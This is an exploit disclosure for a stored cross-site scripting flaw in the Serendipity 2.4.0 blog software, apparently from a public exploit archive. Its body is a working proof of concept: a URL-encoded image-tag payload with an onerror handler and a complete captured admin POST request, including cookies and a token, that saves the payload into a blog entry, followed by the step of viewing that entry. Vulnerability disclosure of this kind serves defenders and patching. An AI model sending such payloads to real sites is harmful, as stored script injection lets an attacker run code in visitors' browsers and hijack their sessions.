bd09027499
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47 lines
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2.5 KiB
Text
47 lines
No EOL
2.5 KiB
Text
Exploit Title: Serendipity 2.4.0 - Cross-Site Scripting (XSS)
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Author: Mirabbas Ağalarov
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Application: Serendipity
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Version: 2.4.0
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Bugs: Stored XSS
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Technology: PHP
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Vendor URL: https://docs.s9y.org/
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Software Link: https://docs.s9y.org/downloads.html
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Date of found: 13.04.2023
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Tested on: Linux
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2. Technical Details & POC
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========================================
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steps:
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1.Anyone who has the authority to create the new entry can do this
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payload: hello%3Cimg+src%3Dx+onerror%3Dalert%283%29%3E
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POST /serendipity/serendipity_admin.php? HTTP/1.1
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Host: localhost
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Content-Length: 730
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Cache-Control: max-age=0
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sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
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sec-ch-ua-mobile: ?0
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sec-ch-ua-platform: "Linux"
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Upgrade-Insecure-Requests: 1
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Origin: http://localhost
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Content-Type: application/x-www-form-urlencoded
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
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Sec-Fetch-Site: same-origin
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Sec-Fetch-Mode: navigate
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Sec-Fetch-User: ?1
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Sec-Fetch-Dest: document
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Referer: http://localhost/serendipity/serendipity_admin.php?serendipity[adminModule]=entries&serendipity[adminAction]=new
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Accept-Encoding: gzip, deflate
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Accept-Language: en-US,en;q=0.9
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Cookie: serendipity[old_session]=st6cvq3rea6l8dqgjs1nla6s1b; serendipity[author_token]=c74c7da50976c82e628d7a8dfdb7c9e3ebc8188b; serendipity[toggle_extended]=; serendipity[entrylist_filter_author]=; serendipity[entrylist_filter_category]=; serendipity[entrylist_filter_isdraft]=; serendipity[entrylist_sort_perPage]=; serendipity[entrylist_sort_ordermode]=; serendipity[entrylist_sort_order]=; s9y_6991e531dd149036decdb14ae857486a=st6cvq3rea6l8dqgjs1nla6s1b
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Connection: close
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serendipity%5Baction%5D=admin&serendipity%5BadminModule%5D=entries&serendipity%5BadminAction%5D=save&serendipity%5Bid%5D=&serendipity%5Btimestamp%5D=1681366826&serendipity%5Bpreview%5D=false&serendipity%5Btoken%5D=ae9b8ae35a756c24f9552a021ee81d56&serendipity%5Btitle%5D=asdf&serendipity%5Bbody%5D=hello%3Cimg+src%3Dx+onerror%3Dalert%283%29%3E&serendipity%5Bextended%5D=&serendipity%5Bchk_timestamp%5D=1681366826&serendipity%5Bnew_date%5D=2023-04-13&serendipity%5Bnew_time%5D=10%3A20&serendipity%5Bisdraft%5D=false&serendipity%5Ballow_comments%5D=true&serendipity%5Bpropertyform%5D=true&serendipity%5Bproperties%5D%5Baccess%5D=public&ignore_password=&serendipity%5Bproperties%5D%5Bentrypassword%5D=&serendipity%5Bchange_author%5D=1
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2. visit the entry you created |